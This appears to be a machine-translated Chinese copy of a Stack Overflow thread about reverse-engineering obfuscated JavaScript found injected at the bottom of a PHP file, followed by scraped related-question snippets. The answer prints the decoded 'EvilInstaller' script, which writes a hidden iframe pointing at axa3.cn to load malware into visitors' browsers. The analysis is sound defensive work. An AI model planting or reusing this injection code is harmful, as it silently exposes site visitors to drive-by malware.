您将如何对此进行逆向工程?

2024-02-23

我有一些代码位于 javascript 中的 php 文件的底部。它经历了很多奇怪的扭曲,比如将十六进制转换为 ascii,然后进行正则表达式替换、执行代码等等......

有没有办法在它实际执行之前找出它正在执行的内容?

代码在这里:

http://pastebin.ca/1303597 http://pastebin.ca/1303597


你可以一步一步地浏览它 - 因为它是 Javascript,并且它是被解释的,所以它需要有自己的解密器。如果您有权访问命令行 Javascript 解释器(例如中的控制台)Firebug http://www.getfirebug.com/),这将相当简单。

我会看看会发生什么。

Edit我已经完成了大部分内容 - 看起来最后一步并不简单,可能是因为它涉及“argument.callee”。无论如何我已经放了到目前为止我所拥有的 http://pastebin.ca/1303638关于帕斯特宾。

有趣的是,我发现其中最难的部分是给乱码变量指定正确的名称。它让我想起了填字游戏或数独,你知道事物是如何相关的,但在你弄清楚它的依赖部分是什么之前你不能明确地分配某些东西。 :-) 我确信,如果有人认识到该算法,他们可以为这些部分指定更有意义的名称,但是在进行大量异或操作时,有两个临时变量我刚刚保留为默认名称因为我不知道足够的背景来给他们提供有用的信息。

最终编辑:当我意识到我可以传入我刚刚解码的原始文本时,“arguments.callee”位变得很容易(这是一种非常聪明的技术,因此正常的反混淆将无法工作,因为一旦你重命名变量等,值不同)。不管怎样,这是你的完整脚本:


    function EvilInstaller(){};
    EvilInstaller.prototype = {
        getFrameURL : function() {
            var dlh=document.location.host;
            return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
        },
        path:'/elanguage.cn/',
        cookieValue:1,
        setCookie : function(name, value) {
            var d= new Date();
            d.setTime(new Date().getTime() + 86400000);
            document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
        },
        install : function() {
            if (!this.alreadyInstalled()) {
                var s = "<div style='display:none'><iframe src='" + this.getFrameURL() + "'></iframe></div>"
                try {
                    document.open();
                    document.write(s);
                    document.close();
                }
                catch(e) {
                    document.write("<html><body>" + s + "</body></html>")
                }
                this.setCookie(this.cookieName, this.cookieValue);
            }
        },
        getRandString : function() {
            var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, '');
            var o='';
            for (var i=0;i<l;i++) {
                o+=c.substr(Math.floor(Math.random()*c.length),1,1);
            }
            return o;
        },
        cookieName:'hedcfagb',
        host:'axa3.cn',
        alreadyInstalled : function() {
            return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
        }
    };
    var evil=new EvilInstaller();
    evil.install();

基本上看起来它是从 axa3.cn 加载恶意软件的。不过,该网站已经受到 ISP 的怀疑,因此不知道除了一般的不良行为之外,该网站实际上还存在什么。

(如果有人感兴趣,我使用 Pastebin 作为伪 VCS 来更改代码版本,所以你可以看到另一个中间步骤 http://pastebin.ca/1303652,就在我第一次编辑帖子之后。看到不同的混淆层以及它们如何变化是非常有趣的。)

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

您将如何对此进行逆向工程? 的相关文章

随机推荐

  • 在 Windows 上优雅地终止子 Python 进程,以便 Final 子句运行

    在 Windows 机器上 我有许多父进程将启动子进程的场景 由于各种原因 父进程可能想要中止子进程但是 这很重要 让它清理 即运行finally子句 try res bookResource doStuff res finally cle
  • 在 Erlang 中使用 mochijson2 解码 JSON

    我有一个包含一些 JSON 数据的 var A lt lt job id 1 gt gt 使用 mochijson2 我解码数据 Struct mochijson2 decode A 现在我有这个 struct lt lt job gt g
  • 使用 lambda 函数在 pandas group 中聚合

    我有一个聚合声明如下 data data groupby type status name agg one np mean two lambda value 100 value gt 32 sum reading mean test2 la
  • 如何将多个正则表达式组合成一行?

    我的脚本可以很好地执行此操作 images re findall src S media tumblr S tumblr S jpg doc videos re findall S http S video file S tumblr a
  • JavaScript 中的条形码扫描仪?或者插件/扩展

    我正在考虑将 USB 条形码扫描仪接口写入 Web 应用程序 离线应用程序 我的意思是扫描仪将位于客户端计算机而不是服务器上 所以我想知道最好的设计是什么 我知道我可以将 ActiveX 对象或本机插件写入某些浏览器 但这并不理想 有谁知道
  • 如何自动运行 ulimit -c unlimited

    我正在尝试从我的rootfs提供对coredump文件生成的支持 我已经使用 ulimit c unlimited 命令和 hard core 1 修改了 etc limits文件 现在当我给出kill 6 时 期望生成核心文件 但要获取此
  • 通过 REST 进行客户端-服务器同步

    这个问题是关于我认为 Android iOS 开发中非常常见的问题 但我还没有找到任何 标准 解决方案 假设我们有一个相当普通的 REST API 服务器数据库包含 除其他外 表countries and towns具有 1 N 关系 客户
  • CSS Masonry UI 使用“column-count”和“box-shadow”无法正常工作

    下面是我的代码砌体用户界面 我用的是纯CSS 如果有超过4 cards但如果我在下面使用它4 cards the column count 3 效果不佳 body height 1000px ul list style none moz c
  • shell中多个文件的平均值

    我想计算 15 个文件的平均值 ifile1 txt ifile2 txt ifile15 txt 每个文件的列数和行数相同 部分数据看起来像 ifile1 txt ifile2 txt ifile3 txt 3 5 2 2 1 2 1 3
  • 如何在Apple App Store产品描述中显示特殊字符?

    我发现一些应用程序 例如 Toodledo 使用复选标记来标记其修订历史记录 如何在 App Store 产品描述中显示 使用特殊字符 它允许 HTML 还是只需要使用 ascii 字符代码 有什么提示 技巧可以更好地展示我们应用程序的产品
  • 如何在 jqGrid 上实现自动换行(适用于 IE7、IE8 和 FF)

    如何在适用于 IE7 IE8 和 FF 的 jqGrid 上实现自动换行 同时还具有列大小调整功能 网格正确对齐 尝试使用特定宽度的 div 基于初始 TH 宽度 内包装每个 td 上的内容 但 colresize 不适用于我插入的 div
  • java.util.List 是可变的吗?

    我们可以add remove元素到List using add remove 方法而无需创建另一个看起来类似于的列表StringBuilder append 正因如此我认为List是可变的 谁能确认我的理解是正确的吗 如果有错误请解释一下下
  • PHP 忽略 POST 请求

    我正在尝试在 PHP 中创建一个即发即忘方法 以便我可以POST数据发送到网络服务器 无需等待响应 我读到这可以通过使用来实现CURL就像下面的代码一样 ch curl init url curl setopt ch CURLOPT POS
  • Postgres/hibernate 运算符不存在:text = bytea

    我是 hibernate 世界的新手 在尝试使用 hibernate 和 postgres 执行查询时收到以下错误消息 org postgresql util PSQLException ERROR operator does not ex
  • 是否有用于 Tkinter/网格几何图形的 GUI 设计应用程序? [关闭]

    Closed 这个问题正在寻求书籍 工具 软件库等的推荐 不满足堆栈溢出指南 help closed questions 目前不接受答案 有谁知道 GUI 设计应用程序可以让您选择 拖 放小部件 然后使用适当的 Tkinter 调用和排列将
  • 如何在golang中使用multipart

    我需要生成以下形式的多部分发布请求 POST blabla HTTP 1 1 Host 2 2 2 2 Authorization moreblabla Content Type multipart mixed boundary rs0q5
  • RxJava:尝试将错误传播到 Observer.onError 时发生错误

    我在 Rx 库中收到 IllegalStateException 错误 并且不知道问题的根源在哪里 无论是 RxJava 还是我可能做错的事情 当证书固定 发生在所有服务器请求上 但似乎指向会话超时或注销并返回时 会发生致命崩溃 重现步骤
  • CMake:将(独立)库拆分为不同的 target_link_libraries 调用?

    说我有目标A这取决于库B and C But B and C没有相互依赖 与 CMake 的链接可能看起来像 target link libraries A B C but target link libraries A B target
  • dll 的环境变量与 exe 的环境变量不同

    我正在调试一个 64 位应用程序 其中 c exe 使用本机 c dll 在 Windows 7 上 这两个应用程序的环境变量似乎不同 即使它们都在同一进程中执行 调用 System Environment SetEnvironmentVa
  • 您将如何对此进行逆向工程?

    我有一些代码位于 javascript 中的 php 文件的底部 它经历了很多奇怪的扭曲 比如将十六进制转换为 ascii 然后进行正则表达式替换 执行代码等等 有没有办法在它实际执行之前找出它正在执行的内容 代码在这里 http past